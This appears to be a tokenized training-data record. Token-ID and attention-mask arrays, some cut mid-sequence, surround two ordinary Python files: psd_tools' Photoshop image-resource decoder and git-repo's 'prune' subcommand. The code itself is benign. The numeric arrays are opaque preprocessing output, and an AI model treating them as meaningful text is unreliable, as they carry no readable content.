9, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 702, 1894, 272, 702, 822, 8, 81, 9, 272, 1894, 14, 5335, 360, 396, 18, 358, 272, 702, 822, 8, 81, 9, 508, 499, 1362, 199, 318, 511, 63, 13775, 12107, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 499, 9, 272, 1894, 14, 5335, 360, 396, 19, 297, 650, 9, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 2286, 1894, 14, 5335, 360, 396, 19, 297, 650, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 499, 9, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 339, 327, 5518, 1865, 26391, 737, 2011, 7464, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 19, 297, 413, 9, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 339, 327, 6114, 2943, 3748, 272, 1894, 14, 5335, 360, 396, 17, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 18, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 19, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 2286, 1894, 14, 5335, 360, 396, 17, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 19, 297, 334, 18, 12, 900, 14, 521, 4059, 272, 1894, 14, 5335, 360, 396, 18, 297, 334, 17, 12, 900, 14, 521, 4059, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 17, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 18, 7, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 19, 7, 199, 199, 318, 511, 63, 8906, 837, 272, 1894, 275, 10703, 342, 339, 1894, 14, 5335, 360, 396, 297, 4637, 534, 1421, 358, 272, 702, 1894, 14, 1935, 342, 508, 283, 396, 7, 5493, 1894, 14, 5335, 360, 396, 297, 4637, 534, 1421, 358, 272, 702, 440, 1894, 14, 1935, 8, 8906, 2968, 1700, 1105, 272, 702, 1894, 14, 1935, 8, 8906, 2968, 1421, 1105, 508, 283, 396, 7, 2286, 1894, 14, 5335, 360, 396, 297, 4637, 534, 1421, 358, 272, 702, 1894, 14, 1935, 8, 8906, 2968, 1700, 297, 283, 1421, 297, 283, 3385, 1105, 508, 283, 396, 7, 1362, 199, 318, 511, 63, 3029, 1935, 837, 272, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 702, 1894, 14, 1935, 8, 17, 9, 508, 788, 396, 17, 418, 2286, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 1894, 14, 5335, 360, 396, 18, 358, 272, 702, 1894, 14, 1935, 8, 18, 9, 508, 788, 396, 17, 297, 283, 396, 18, 418, 339, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 358, 272, 702, 1894, 14, 1935, 8, 18, 9, 508, 788, 396, 17, 418, 2286, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 19, 297, 650, 9, 272, 1894, 14, 5335, 360, 396, 17, 297, 413, 9, 272, 1894, 14, 5335, 360, 396, 18, 297, 413, 9, 272, 702, 1894, 14, 1935, 8, 18, 9, 508, 788, 396, 17, 297, 283, 396, 18, 418, 2286, 1894, 275, 10703, 342, 272, 1894, 14, 5335, 360, 396, 17, 297, 4637, 534, 1421, 358, 272, 1894, 14, 5335, 360, 396, 18, 297, 4637, 534, 1700, 358, 272, 1894, 14, 5335, 360, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tommo/gii
lib/3rdparty/common/psd_tools/decoder/image_resources.py
5
6594
# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals, division import io import warnings import collections from psd_tools.utils import (read_pascal_string, unpack, read_fmt, read_unicode_string, be_array_from_bytes, decode_fixed_point_32bit) from psd_tools.constants import ImageResourceID, PrintScaleStyle, DisplayResolutionUnit, DimensionUnit from psd_tools.decoder import decoders from psd_tools.decoder.actions import decode_descriptor, UnknownOSType from psd_tools.decoder.color import decode_color _image_resource_decoders, register = decoders.new_registry() _image_resource_decoders.update({ ImageResourceID.LAYER_STATE_INFO: decoders.single_value("H"), ImageResourceID.WATERMARK: decoders.single_value("B"), ImageResourceID.ICC_UNTAGGED_PROFILE: decoders.boolean(), ImageResourceID.EFFECTS_VISIBLE: decoders.boolean(), ImageResourceID.IDS_SEED_NUMBER: decoders.single_value("I"), ImageResourceID.INDEXED_COLOR_TABLE_COUNT: decoders.single_value("H"), ImageResourceID.TRANSPARENCY_INDEX: decoders.single_value("H"), ImageResourceID.GLOBAL_ALTITUDE: decoders.single_value("I"), ImageResourceID.GLOBAL_ANGLE_OBSOLETE: decoders.single_value("I"), ImageResourceID.COPYRIGHT_FLAG: decoders.boolean("H"), ImageResourceID.ALPHA_NAMES_UNICODE: decoders.unicode_string, ImageResourceID.WORKFLOW_URL: decoders.unicode_string }) PrintScale = collections.namedtuple('PrintScale', 'style, x, y, scale') PrintFlags = collections.namedtuple('PrintFlags', 'labels, crop_marks, color_bars, registration_marks, negative, flip, interpolate, caption, print_flags') PrintFlagsInfo = collections.namedtuple('PrintFlagsInfo', 'version, center_crop_marks, bleed_width_value, bleed_width_scale') VersionInfo = collections.namedtuple('VersionInfo', 'version, has_real_merged_data, writer_name, reader_name, file_version') PixelAspectRatio = collections.namedtuple('PixelAspectRatio', 'version aspect') _ResolutionInfo = collections.namedtuple('ResolutionInfo', 'h_res, h_res_unit, width_unit, v_res, v_res_unit, height_unit') PathSelectionState = collections.namedtuple('PathSelectionState', 'descriptor_version descriptor') LayerComps = collections.namedtuple('LayerComps', 'descriptor_version descriptor') class ResolutionInfo(_ResolutionInfo): def __repr__(self): return "ResolutionInfo(h_res=%s, h_res_unit=%s, v_res=%s, v_res_unit=%s, width_unit=%s, height_unit=%s)" % ( self.h_res, DisplayResolutionUnit.name_of(self.h_res_unit), self.v_res, DisplayResolutionUnit.name_of(self.v_res_unit), DimensionUnit.name_of(self.width_unit), DimensionUnit.name_of(self.height_unit), ) def decode(image_resource_blocks): """ Replaces ``data`` of image resource blocks with parsed data structures. """ return [parse_image_resource(res) for res in image_resource_blocks] def parse_image_resource(resource): """ Replaces ``data`` of image resource block with a parsed data structure. """ if not ImageResourceID.is_known(resource.resource_id): warnings.warn("Unknown resource_id (%s)" % resource.resource_id) decoder = _image_resource_decoders.get(resource.resource_id, lambda data: data) return resource._replace(data = decoder(resource.data)) @register(ImageResourceID.LAYER_GROUP_INFO) def _decode_layer_group_info(data): return be_array_from_bytes("H", data) @register(ImageResourceID.LAYER_SELECTION_IDS) def _decode_layer_selection(data): return be_array_from_bytes("I", data[2:]) @register(ImageResourceID.LAYER_GROUPS_ENABLED_ID) def _decode_layer_groups_enabled_id(data): return be_array_from_bytes("B", data) @register(ImageResourceID.VERSION_INFO) def _decode_version_info(data): fp = io.BytesIO(data) return VersionInfo( read_fmt("I", fp)[0], read_fmt("?", fp)[0], read_unicode_string(fp), read_unicode_string(fp), read_fmt("I", fp)[0], ) @register(ImageResourceID.PIXEL_ASPECT_RATIO) def _decode_pixel_aspect_ration(data): version = unpack("I", data[:4])[0] aspect = unpack("d", data[4:])[0] return PixelAspectRatio(version, aspect) @register(ImageResourceID.PRINT_FLAGS) def _decode_print_flags(data): return PrintFlags(*(unpack("9?x", data))) @register(ImageResourceID.PRINT_FLAGS_INFO) def _decode_print_flags_info(data): return PrintFlagsInfo(*(unpack("HBxIh", data))) @register(ImageResourceID.PRINT_SCALE) def _decode_print_scale(data): style, x, y, scale = unpack("H3f", data) if not PrintScaleStyle.is_known(style): warnings.warn("Unknown print scale style (%s)" % style) return PrintScale(style, x, y, scale) @register(ImageResourceID.CAPTION_PASCAL) def _decode_caption_pascal(data): fp = io.BytesIO(data) return read_pascal_string(fp, 'ascii') @register(ImageResourceID.RESOLUTION_INFO) def _decode_resolution(data): h_res, h_res_unit, width_unit, v_res, v_res_unit, height_unit = unpack("4s HH 4s HH", data) h_res = decode_fixed_point_32bit(h_res) v_res = decode_fixed_point_32bit(v_res) return ResolutionInfo(h_res, h_res_unit, width_unit, v_res, v_res_unit, height_unit) @register(ImageResourceID.ICC_PROFILE) def _decode_icc(data): try: from PIL import ImageCms except ImportError: warnings.warn("ICC profile is not handled; colors could be incorrect. " "Please build PIL or Pillow with littlecms/littlecms2 " "support.") return data return ImageCms.ImageCmsProfile(io.BytesIO(data)) @register(ImageResourceID.BACKGROUND_COLOR) def _decode_background_color(data): fp = io.BytesIO(data) return decode_color(fp) @register(ImageResourceID.PATH_SELECTION_STATE) def _decode_path_selection_state(data): fp = io.BytesIO(data) version = read_fmt("I", fp)[0] try: return PathSelectionState(version, decode_descriptor(None, fp)) except UnknownOSType as e: warnings.warn("Ignoring image resource %s" % e) return data @register(ImageResourceID.LAYER_COMPS) def _decode_layer_comps(data): fp = io.BytesIO(data) version = read_fmt("I", fp)[0] try: return LayerComps(version, decode_descriptor(None, fp)) except UnknownOSType as e: warnings.warn("Ignoring image resource %s" % e) return data
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 2649, 63, 5955, 12, 4629, 199, 646, 5890, 199, 646, 3598, 199, 646, 5055, 199, 199, 504, 299, 3893, 63, 2537, 14, 1208, 492, 334, 739, 63, 15534, 915, 63, 875, 12, 7787, 12, 1586, 63, 5045, 12, 2490, 1586, 63, 2975, 63, 875, 12, 506, 63, 1144, 63, 504, 63, 2394, 12, 2490, 4849, 63, 5964, 63, 1403, 63, 708, 2075, 9, 199, 504, 299, 3893, 63, 2537, 14, 5559, 492, 6047, 4031, 998, 12, 9101, 9944, 6609, 12, 12175, 18508, 5072, 12, 25291, 5072, 199, 504, 299, 3893, 63, 2537, 14, 8813, 492, 10334, 83, 199, 504, 299, 3893, 63, 2537, 14, 8813, 14, 3723, 492, 4849, 63, 4120, 12, 14831, 3100, 804, 199, 504, 299, 3893, 63, 2537, 14, 8813, 14, 2326, 492, 4849, 63, 2326, 199, 199, 63, 1569, 63, 1927, 63, 8813, 83, 12, 2274, 275, 10334, 83, 14, 1222, 63, 5189, 342, 199, 199, 63, 1569, 63, 1927, 63, 8813, 83, 14, 873, 2561, 272, 6047, 4031, 998, 14, 24167, 63, 6689, 63, 4531, 26, 3698, 10334, 83, 14, 4780, 63, 585, 480, 40, 1288, 272, 6047, 4031, 998, 14, 55, 10447, 10520, 26, 8295, 10334, 83, 14, 4780, 63, 585, 480, 34, 1288, 272, 6047, 4031, 998, 14, 948, 35, 63, 1734, 6967, 39, 1149, 63, 16632, 26, 755, 10334, 83, 14, 4871, 1062, 272, 6047, 4031, 998, 14, 29512, 3582, 51, 63, 31730, 26, 3322, 10334, 83, 14, 4871, 1062, 272, 6047, 4031, 998, 14, 20857, 63, 25508, 63, 9190, 26, 3322, 10334, 83, 14, 4780, 63, 585, 480, 41, 1288, 272, 6047, 4031, 998, 14, 10215, 1149, 63, 7134, 63, 8723, 63, 8760, 26, 221, 10334, 83, 14, 4780, 63, 585, 480, 40, 1288, 272, 6047, 4031, 998, 14, 12191, 4014, 17059, 63, 10215, 26, 260, 10334, 83, 14, 4780, 63, 585, 480, 40, 1288, 272, 6047, 4031, 998, 14, 13808, 63, 19600, 28742, 26, 3322, 10334, 83, 14, 4780, 63, 585, 480, 41, 1288, 272, 6047, 4031, 998, 14, 13808, 63, 30421, 63, 5488, 15096, 5248, 26, 420, 10334, 83, 14, 4780, 63, 585, 480, 41, 1288, 272, 6047, 4031, 998, 14, 32324, 5716, 63, 3719, 26, 3777, 10334, 83, 14, 4871, 480, 40, 1288, 339, 6047, 4031, 998, 14, 18554, 63, 14546, 63, 12819, 26, 263, 10334, 83, 14, 2975, 63, 875, 12, 272, 6047, 4031, 998, 14, 8406, 17114, 63, 2632, 26, 5185, 10334, 83, 14, 2975, 63, 875, 199, 1552, 199, 199, 5375, 9944, 275, 5055, 14, 18921, 360, 5375, 9944, 297, 283, 2487, 12, 671, 12, 612, 12, 4666, 358, 199, 5375, 6381, 275, 5055, 14, 18921, 360, 5375, 6381, 297, 283, 3512, 12, 18366, 63, 10375, 12, 3164, 63, 16264, 12, 10991, 63, 10375, 12, 6946, 12, 18761, 12, 28884, 12, 19038, 12, 870, 63, 2469, 358, 199, 5375, 6381, 2354, 275, 5055, 14, 18921, 360, 5375, 6381, 2354, 297, 283, 1023, 12, 8126, 63, 15816, 63, 10375, 12, 29603, 379, 63, 2063, 63, 585, 12, 29603, 379, 63, 2063, 63, 3467, 358, 199, 3353, 2354, 275, 5055, 14, 18921, 360, 3353, 2354, 297, 283, 1023, 12, 965, 63, 3093, 63, 15269, 63, 576, 12, 7060, 63, 354, 12, 7002, 63, 354, 12, 570, 63, 1023, 358, 199, 14383, 2822, 1764, 13971, 275, 5055, 14, 18921, 360, 14383, 2822, 1764, 13971, 297, 283, 1023, 17435, 358, 199, 63, 18508, 2354, 275, 5055, 14, 18921, 360, 18508, 2354, 297, 283, 72, 63, 470, 12, 394, 63, 470, 63, 3248, 12, 3462, 63, 3248, 12, 373, 63, 470, 12, 373, 63, 470, 63, 3248, 12, 4569, 63, 3248, 358, 199, 2042, 7713, 2223, 275, 5055, 14, 18921, 360, 2042, 7713, 2223, 297, 283, 4120, 63, 1023, 5872, 358, 199, 5003, 2404, 83, 275, 5055, 14, 18921, 360, 5003, 2404, 83, 297, 283, 4120, 63, 1023, 5872, 358, 421, 199, 533, 3591, 3347, 2354, 1547, 18508, 2354, 304, 272, 347, 636, 2722, 721, 277, 304, 398, 372, 298, 18508, 2354, 8, 72, 63, 470, 2458, 83, 12, 394, 63, 470, 63, 3248, 2458, 83, 12, 373, 63, 470, 2458, 83, 12, 373, 63, 470, 63, 3248, 2458, 83, 12, 3462, 63, 3248, 2458, 83, 12, 4569, 63, 3248, 2458, 83, 2924, 450, 334, 288, 291, 14, 72, 63, 470, 12, 288, 12175, 18508, 5072, 14, 354, 63, 1618, 8, 277, 14, 72, 63, 470, 63, 3248, 395, 288, 291, 14, 86, 63, 470, 12, 288, 12175, 18508, 5072, 14, 354, 63, 1618, 8, 277, 14, 86, 63, 470, 63, 3248, 395, 288, 25291, 5072, 14, 354, 63, 1618, 8, 277, 14, 2063, 63, 3248, 395, 288, 25291, 5072, 14, 354, 63, 1618, 8, 277, 14, 3333, 63, 3248, 395, 267, 776, 421, 199, 318, 4849, 8, 1569, 63, 1927, 63, 4166, 304, 272, 408, 272, 799, 10696, 1124, 576, 1040, 402, 1834, 2073, 5664, 543, 4565, 666, 13955, 14, 272, 408, 272, 372, 359, 1122, 63, 1569, 63, 1927, 8, 470, 9, 367, 522, 315, 1834, 63, 1927, 63, 4166, 61, 199, 199, 318, 2198, 63, 1569, 63, 1927, 8, 1927, 304, 272, 408, 272, 799, 10696, 1124, 576, 1040, 402, 1834, 2073, 1853, 543, 282, 4565, 666, 5523, 14, 272, 408, 272, 340, 440, 6047, 4031, 998, 14, 374, 63, 3159, 8, 1927, 14, 1927, 63, 344, 304, 267, 3598, 14, 4050, 480, 5912, 2073, 63, 344, 4366, 83, 2924, 450, 2073, 14, 1927, 63, 344, 9, 339, 10334, 275, 485, 1569, 63, 1927, 63, 8813, 83, 14, 362, 8, 1927, 14, 1927, 63, 344, 12, 2400, 666, 26, 666, 9, 272, 372, 2073, 423, 1814, 8, 576, 275, 10334, 8, 1927, 14, 576, 430, 199, 199, 32, 2683, 8, 3491, 4031, 998, 14, 24167, 63, 7823, 63, 4531, 9, 199, 318, 485, 2708, 63, 1897, 63, 923, 63, 815, 8, 576, 304, 272, 372, 506, 63, 1144, 63, 504, 63, 2394, 480, 40, 401, 666, 9, 199, 199, 32, 2683, 8, 3491, 4031, 998, 14, 24167, 63, 4859, 1075, 63, 20857, 9, 199, 318, 485, 2708, 63, 1897, 63, 5592, 8, 576, 304, 272, 372, 506, 63, 1144, 63, 504, 63, 2394 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 2649, 63, 5955, 12, 4629, 199, 646, 5890, 199, 646, 3598, 199, 646, 5055, 199, 199, 504, 299, 3893, 63, 2537, 14, 1208, 492, 334, 739, 63, 15534, 915, 63, 875, 12, 7787, 12, 1586, 63, 5045, 12, 2490, 1586, 63, 2975, 63, 875, 12, 506, 63, 1144, 63, 504, 63, 2394, 12, 2490, 4849, 63, 5964, 63, 1403, 63, 708, 2075, 9, 199, 504, 299, 3893, 63, 2537, 14, 5559, 492, 6047, 4031, 998, 12, 9101, 9944, 6609, 12, 12175, 18508, 5072, 12, 25291, 5072, 199, 504, 299, 3893, 63, 2537, 14, 8813, 492, 10334, 83, 199, 504, 299, 3893, 63, 2537, 14, 8813, 14, 3723, 492, 4849, 63, 4120, 12, 14831, 3100, 804, 199, 504, 299, 3893, 63, 2537, 14, 8813, 14, 2326, 492, 4849, 63, 2326, 199, 199, 63, 1569, 63, 1927, 63, 8813, 83, 12, 2274, 275, 10334, 83, 14, 1222, 63, 5189, 342, 199, 199, 63, 1569, 63, 1927, 63, 8813, 83, 14, 873, 2561, 272, 6047, 4031, 998, 14, 24167, 63, 6689, 63, 4531, 26, 3698, 10334, 83, 14, 4780, 63, 585, 480, 40, 1288, 272, 6047, 4031, 998, 14, 55, 10447, 10520, 26, 8295, 10334, 83, 14, 4780, 63, 585, 480, 34, 1288, 272, 6047, 4031, 998, 14, 948, 35, 63, 1734, 6967, 39, 1149, 63, 16632, 26, 755, 10334, 83, 14, 4871, 1062, 272, 6047, 4031, 998, 14, 29512, 3582, 51, 63, 31730, 26, 3322, 10334, 83, 14, 4871, 1062, 272, 6047, 4031, 998, 14, 20857, 63, 25508, 63, 9190, 26, 3322, 10334, 83, 14, 4780, 63, 585, 480, 41, 1288, 272, 6047, 4031, 998, 14, 10215, 1149, 63, 7134, 63, 8723, 63, 8760, 26, 221, 10334, 83, 14, 4780, 63, 585, 480, 40, 1288, 272, 6047, 4031, 998, 14, 12191, 4014, 17059, 63, 10215, 26, 260, 10334, 83, 14, 4780, 63, 585, 480, 40, 1288, 272, 6047, 4031, 998, 14, 13808, 63, 19600, 28742, 26, 3322, 10334, 83, 14, 4780, 63, 585, 480, 41, 1288, 272, 6047, 4031, 998, 14, 13808, 63, 30421, 63, 5488, 15096, 5248, 26, 420, 10334, 83, 14, 4780, 63, 585, 480, 41, 1288, 272, 6047, 4031, 998, 14, 32324, 5716, 63, 3719, 26, 3777, 10334, 83, 14, 4871, 480, 40, 1288, 339, 6047, 4031, 998, 14, 18554, 63, 14546, 63, 12819, 26, 263, 10334, 83, 14, 2975, 63, 875, 12, 272, 6047, 4031, 998, 14, 8406, 17114, 63, 2632, 26, 5185, 10334, 83, 14, 2975, 63, 875, 199, 1552, 199, 199, 5375, 9944, 275, 5055, 14, 18921, 360, 5375, 9944, 297, 283, 2487, 12, 671, 12, 612, 12, 4666, 358, 199, 5375, 6381, 275, 5055, 14, 18921, 360, 5375, 6381, 297, 283, 3512, 12, 18366, 63, 10375, 12, 3164, 63, 16264, 12, 10991, 63, 10375, 12, 6946, 12, 18761, 12, 28884, 12, 19038, 12, 870, 63, 2469, 358, 199, 5375, 6381, 2354, 275, 5055, 14, 18921, 360, 5375, 6381, 2354, 297, 283, 1023, 12, 8126, 63, 15816, 63, 10375, 12, 29603, 379, 63, 2063, 63, 585, 12, 29603, 379, 63, 2063, 63, 3467, 358, 199, 3353, 2354, 275, 5055, 14, 18921, 360, 3353, 2354, 297, 283, 1023, 12, 965, 63, 3093, 63, 15269, 63, 576, 12, 7060, 63, 354, 12, 7002, 63, 354, 12, 570, 63, 1023, 358, 199, 14383, 2822, 1764, 13971, 275, 5055, 14, 18921, 360, 14383, 2822, 1764, 13971, 297, 283, 1023, 17435, 358, 199, 63, 18508, 2354, 275, 5055, 14, 18921, 360, 18508, 2354, 297, 283, 72, 63, 470, 12, 394, 63, 470, 63, 3248, 12, 3462, 63, 3248, 12, 373, 63, 470, 12, 373, 63, 470, 63, 3248, 12, 4569, 63, 3248, 358, 199, 2042, 7713, 2223, 275, 5055, 14, 18921, 360, 2042, 7713, 2223, 297, 283, 4120, 63, 1023, 5872, 358, 199, 5003, 2404, 83, 275, 5055, 14, 18921, 360, 5003, 2404, 83, 297, 283, 4120, 63, 1023, 5872, 358, 421, 199, 533, 3591, 3347, 2354, 1547, 18508, 2354, 304, 272, 347, 636, 2722, 721, 277, 304, 398, 372, 298, 18508, 2354, 8, 72, 63, 470, 2458, 83, 12, 394, 63, 470, 63, 3248, 2458, 83, 12, 373, 63, 470, 2458, 83, 12, 373, 63, 470, 63, 3248, 2458, 83, 12, 3462, 63, 3248, 2458, 83, 12, 4569, 63, 3248, 2458, 83, 2924, 450, 334, 288, 291, 14, 72, 63, 470, 12, 288, 12175, 18508, 5072, 14, 354, 63, 1618, 8, 277, 14, 72, 63, 470, 63, 3248, 395, 288, 291, 14, 86, 63, 470, 12, 288, 12175, 18508, 5072, 14, 354, 63, 1618, 8, 277, 14, 86, 63, 470, 63, 3248, 395, 288, 25291, 5072, 14, 354, 63, 1618, 8, 277, 14, 2063, 63, 3248, 395, 288, 25291, 5072, 14, 354, 63, 1618, 8, 277, 14, 3333, 63, 3248, 395, 267, 776, 421, 199, 318, 4849, 8, 1569, 63, 1927, 63, 4166, 304, 272, 408, 272, 799, 10696, 1124, 576, 1040, 402, 1834, 2073, 5664, 543, 4565, 666, 13955, 14, 272, 408, 272, 372, 359, 1122, 63, 1569, 63, 1927, 8, 470, 9, 367, 522, 315, 1834, 63, 1927, 63, 4166, 61, 199, 199, 318, 2198, 63, 1569, 63, 1927, 8, 1927, 304, 272, 408, 272, 799, 10696, 1124, 576, 1040, 402, 1834, 2073, 1853, 543, 282, 4565, 666, 5523, 14, 272, 408, 272, 340, 440, 6047, 4031, 998, 14, 374, 63, 3159, 8, 1927, 14, 1927, 63, 344, 304, 267, 3598, 14, 4050, 480, 5912, 2073, 63, 344, 4366, 83, 2924, 450, 2073, 14, 1927, 63, 344, 9, 339, 10334, 275, 485, 1569, 63, 1927, 63, 8813, 83, 14, 362, 8, 1927, 14, 1927, 63, 344, 12, 2400, 666, 26, 666, 9, 272, 372, 2073, 423, 1814, 8, 576, 275, 10334, 8, 1927, 14, 576, 430, 199, 199, 32, 2683, 8, 3491, 4031, 998, 14, 24167, 63, 7823, 63, 4531, 9, 199, 318, 485, 2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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
lipro-yocto/git-repo
subcmds/prune.py
1
1907
# Copyright (C) 2008 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from color import Coloring from command import PagedCommand class Prune(PagedCommand): common = True helpSummary = "Prune (delete) already merged topics" helpUsage = """ %prog [<project>...] """ def Execute(self, opt, args): all_branches = [] for project in self.GetProjects(args): all_branches.extend(project.PruneHeads()) if not all_branches: return class Report(Coloring): def __init__(self, config): Coloring.__init__(self, config, 'status') self.project = self.printer('header', attr='bold') out = Report(all_branches[0].project.config) out.project('Pending Branches') out.nl() project = None for branch in all_branches: if project != branch.project: project = branch.project out.nl() out.project('project %s/' % project.relpath) out.nl() print('%s %-33s ' % ( branch.name == project.CurrentBranch and '*' or ' ', branch.name), end='') if not branch.base_exists: print('(ignoring: tracking branch is gone: %s)' % (branch.base,)) else: commits = branch.commits date = branch.date print('(%2d commit%s, %s)' % ( len(commits), len(commits) != 1 and 's' or ' ', date))
apache-2.0
[ 3, 1898, 334, 35, 9, 9079, 710, 14694, 3232, 5800, 7290, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 504, 3164, 492, 3626, 6854, 199, 504, 1414, 492, 510, 6028, 3110, 421, 199, 533, 510, 14780, 8, 16769, 3110, 304, 523, 2863, 275, 715, 523, 1720, 10407, 275, 298, 48, 14780, 334, 1807, 9, 2575, 9545, 17398, 2, 523, 1720, 7692, 275, 408, 199, 5, 6595, 24936, 1715, 30, 18737, 199, 624, 819, 347, 17009, 8, 277, 12, 2450, 12, 1249, 304, 272, 1006, 63, 16896, 275, 942, 272, 367, 2199, 315, 291, 14, 1002, 24286, 8, 589, 304, 489, 1006, 63, 16896, 14, 2880, 8, 1715, 14, 48, 14780, 1966, 9402, 1012, 339, 340, 440, 1006, 63, 16896, 26, 489, 372, 339, 1021, 11774, 8, 4117, 316, 304, 489, 347, 636, 826, 721, 277, 12, 1101, 304, 267, 3626, 6854, 855, 826, 721, 277, 12, 1101, 12, 283, 1205, 358, 267, 291, 14, 1715, 275, 291, 14, 11835, 360, 1291, 297, 1921, 534, 9771, 358, 339, 734, 275, 11774, 8, 452, 63, 16896, 59, 16, 1055, 1715, 14, 888, 9, 272, 734, 14, 1715, 360, 15960, 699, 2965, 397, 358, 272, 734, 14, 7530, 342, 339, 2199, 275, 488, 339, 367, 5246, 315, 1006, 63, 16896, 26, 489, 340, 2199, 1137, 5246, 14, 1715, 26, 267, 2199, 275, 5246, 14, 1715, 267, 734, 14, 7530, 342, 267, 734, 14, 1715, 360, 1715, 450, 83, 4805, 450, 2199, 14, 12405, 9, 267, 734, 14, 7530, 342, 2541, 870, 3508, 83, 19752, 1153, 83, 283, 450, 334, 288, 5246, 14, 354, 508, 2199, 14, 5639, 12526, 436, 13626, 503, 283, 1656, 288, 5246, 14, 354, 395, 1284, 